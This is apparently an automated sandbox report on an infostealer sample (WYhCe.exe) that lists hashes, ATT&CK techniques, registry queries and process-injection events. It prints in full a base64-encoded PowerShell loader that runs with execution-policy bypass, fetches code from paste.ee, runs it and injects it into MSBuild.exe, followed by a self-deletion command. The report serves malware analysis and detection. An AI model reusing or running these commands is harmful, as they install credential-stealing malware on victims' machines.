e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb

General

Target

WYhCe.exe
Size

103KB
MD5

c2337bf726d285b3e59ef7f26f388bca
SHA1

5b2bfc673012d02f27299db6929a144fd2517f93
SHA256

e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb
SHA512

27e9e92d12658dd6a6e1e710577ea94d8523d3a6f703646007d8d001db9a2b608d314d9e727063207699db9717ed0e2bb77c2a19bae3e79542bec9389c5d2ba1

Score

8^/10

spyware discovery

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1336 powershell.exe
Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1336 powershell.exe
5 1336 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1336 set thread context of 764 1336 powershell.exe MSBuild.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1336	powershell.exe

flow	pid	process
4	1336	powershell.exe
5	1336	powershell.exe

description	pid	process	target process
PID 1336 set thread context of 764	1336	powershell.exe	MSBuild.exe

Checks for installed software on the system 1 TTPs 29 IoCs

discovery

Query Registry

T1012

Processes:

MSBuild.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	MSBuild.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}\DisplayName	MSBuild.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1656 PING.EXE

pid	process
1656	PING.EXE

Suspicious use of WriteProcessMemory 26 IoCs

Processes:

WYhCe.execmd.exepowershell.exeMSBuild.execmd.exe

description	pid	process	target process
PID 832 wrote to memory of 1208	832	WYhCe.exe	cmd.exe
PID 832 wrote to memory of 1208	832	WYhCe.exe	cmd.exe
PID 832 wrote to memory of 1208	832	WYhCe.exe	cmd.exe
PID 832 wrote to memory of 1208	832	WYhCe.exe	cmd.exe
PID 1208 wrote to memory of 1336	1208	cmd.exe	powershell.exe
PID 1208 wrote to memory of 1336	1208	cmd.exe	powershell.exe
PID 1208 wrote to memory of 1336	1208	cmd.exe	powershell.exe
PID 1208 wrote to memory of 1336	1208	cmd.exe	powershell.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 1336 wrote to memory of 764	1336	powershell.exe	MSBuild.exe
PID 764 wrote to memory of 1664	764	MSBuild.exe	cmd.exe
PID 764 wrote to memory of 1664	764	MSBuild.exe	cmd.exe
PID 764 wrote to memory of 1664	764	MSBuild.exe	cmd.exe
PID 764 wrote to memory of 1664	764	MSBuild.exe	cmd.exe
PID 1664 wrote to memory of 1656	1664	cmd.exe	PING.EXE
PID 1664 wrote to memory of 1656	1664	cmd.exe	PING.EXE
PID 1664 wrote to memory of 1656	1664	cmd.exe	PING.EXE
PID 1664 wrote to memory of 1656	1664	cmd.exe	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1336 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1336	powershell.exe

C:\Users\Admin\AppData\Local\Temp\WYhCe.exe
"C:\Users\Admin\AppData\Local\Temp\WYhCe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c start PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
2⤵
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
3⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1336

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Checks for installed software on the system
- Suspicious use of WriteProcessMemory
PID:764

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping google.com && erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\SysWOW64\PING.EXE
ping google.com
6⤵
- Runs ping.exe
PID:1656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/764-5-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/764-6-0x00000000004258D4-mapping.dmp

Download
memory/764-7-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/1208-0-0x0000000000000000-mapping.dmp

Download
memory/1336-1-0x0000000000000000-mapping.dmp

Download
memory/1336-2-0x0000000000000000-mapping.dmp

Download
memory/1656-9-0x0000000000000000-mapping.dmp

Download
memory/1664-8-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing